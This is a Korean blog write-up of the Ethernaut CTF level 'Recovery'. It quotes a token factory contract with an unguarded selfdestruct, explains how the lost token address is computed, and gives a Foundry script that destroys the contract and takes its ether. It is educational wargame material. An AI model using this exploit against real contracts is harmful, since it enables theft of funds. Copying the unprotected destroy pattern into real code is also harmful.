c0mpos3r

[Ethernaut] 17. Recovery WriteUp 본문

Web3/Hacking

[Ethernaut] 17. Recovery WriteUp

음대생 2025. 8. 8. 18:51

1. 문제 분석

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease.
After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens.
They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

 

계약 제작자는 매우 간단한 토큰 공장 계약을 구축했습니다. 누구나 쉽게 새로운 토큰을 만들 수 있습니다. 첫 번째 토큰 계약을 배치 한 후, 제작자는 0.001 ETH를 보냈으며 더 많은 토큰을 얻었습니다. 그들은 그 후 계약 주소를 잃었습니다.

이 레벨은 손실 계약 주소에서 0.001 에테르를 복구 (또는 제거) 할 수있는 경우 완료됩니다.

1-1. Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    // 토큰 생성 팩토리 함수
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply); // 새 토큰 컨트랙트 배포
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply; // 생성자에게 초기 공급량 할당
    }

    // ETH 받으면 토큰으로 교환 (1 ETH = 10 토큰)
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // 토큰 전송 (버그: 받는 사람이 전체 amount를 받음, += 아닌 =)
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount; // 취약점: += 대신 = 사용
    }

    // 컨트랙트 파괴하고 ETH를 _to로 전송
    function destroy(address payable _to) public {
        selfdestruct(_to); // 누구나 호출 가능 (권한 검증 없음)
    }
}

1-2. Recovery Contract 분석

  • Recovery 컨트랙트가 SimpleToken 생성하는 팩토리 패턴
  • 생성된 토큰 주소를 저장/반환하지 않아 주소 분실 위험
  • SimpleToken에 ETH가 저장되지만 주소 모르면 회수 불가능

핵심 취약점

1. destroy() 함수 권한 부재

  • 누구나 destroy(address) 호출 가능
  • Contract Destroy하고 모든 ETH를 지정 주소로 전송
  • 소유자 확인, require 등 권한 검증 없음

2. 토큰 주소 추적 불가

  • generateToken() 함수가 생성된 주소 반환/저장 안함
  • 생성 후 주소를 잃어버리면 찾을 방법 없음

3. ETH 저장 메커니즘

  • receive() 함수로 ETH 받아서 토큰으로 교환
  • ETH가 컨트랙트에 저장되어 갇힐 수 있음

Attack Vector

  • Contract Address는 keccak256(rlp([생성자주소, nonce]))로 결정
  • Recovery Contract Address + nonce 1로 첫 번째 생성 토큰 주소 계산 가능
  • vm.computeCreateAddress(recoveryAddress, 1) 사용 -> Missing SimpleToken Address Calculation
  • destroy(payable(AttackContractAddress)) Call
  • 모든 ETH 탈취

1-3. Reference 분석

1️⃣ Compute Contract Address

정의: 컨트랙트 배포 전 수학적 계산을 통해 생성될 주소를 미리 예측하는 방법

계산 공식:

  • CREATE: keccak256(rlp([deployer_address, nonce]))의 마지막 20바이트
  • CREATE2: keccak256(0xff + deployer + salt + keccak256(bytecode))의 마지막 20바이트
  • 결정론적: 동일한 입력값은 항상 동일한 결과 생성

특징:

  • 오프라인 계산 가능 (네트워크 불필요)
  • 즉시 결과 제공 (가스비 없음)
  • 미래 주소 예측 가능
  • 100% 정확성 (수학적 계산 기반)

2️⃣ Block Explorer

정의: 블록체인 데이터를 웹 인터페이스로 검색하고 조회할 수 있는 블록체인 검색 엔진

주요 기능:

  • Transaction History: 모든 트랜잭션 내역 추적
  • Internal Transactions: 컨트랙트 간 호출 및 컨트랙트 생성 기록
  • Event Logs: 컨트랙트 이벤트 로그 조회
  • Balance Tracking: 주소별 잔액 정보
  • Contract Verification: 소스 코드 검증 상태

특징:

  • 실시간 데이터 제공
  • 과거 이벤트 추적 가능
  • 시각적 인터페이스 제공
  • 네트워크 의존성 (온라인 필요)

2. Solving

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import { SimpleToken, Recovery } from "../src/Recovery.sol";

contract CounterScript is Script {
    address public instance = 0xA70AF168C315317fF52dcA65b7Aacce2529281b9;

    function run() public {
        vm.startBroadcast();

        address tokenAddress = vm.computeCreateAddress(instance, 1);
        
        SimpleToken loseToken = SimpleToken(payable(tokenAddress));
        loseToken.destroy(payable(msg.sender));

        console.log("Lose Token Address : %s", tokenAddress);
        console.log("My Value : %d", msg.sender.balance);
        
        vm.stopBroadcast();
    }
}

3. 결론

Contract는 투명성이 기본이므로 보안 취약점 없는 로직 설계가 우선이며, 중요한 상태 변수는 접근 제어로 보호하고, 모든 함수에는 권한 검증, 입력값 검사, 재진입 방지 등의 다층 보안을 필수로 적용해야 한다.

'Web3 > Hacking' 카테고리의 다른 글

[Ethernaut] 19. Alien Codex WriteUp  (2) 2025.08.09
[Ethernaut] 18. MagicNumber WriteUp  (1) 2025.08.09
[Ethernaut] 16. Preservation WriteUp  (1) 2025.08.08
[Ethernaut] 15. Naught Coin WriteUp  (1) 2025.08.07
[Secureum] Audit Findings 201  (3) 2025.07.12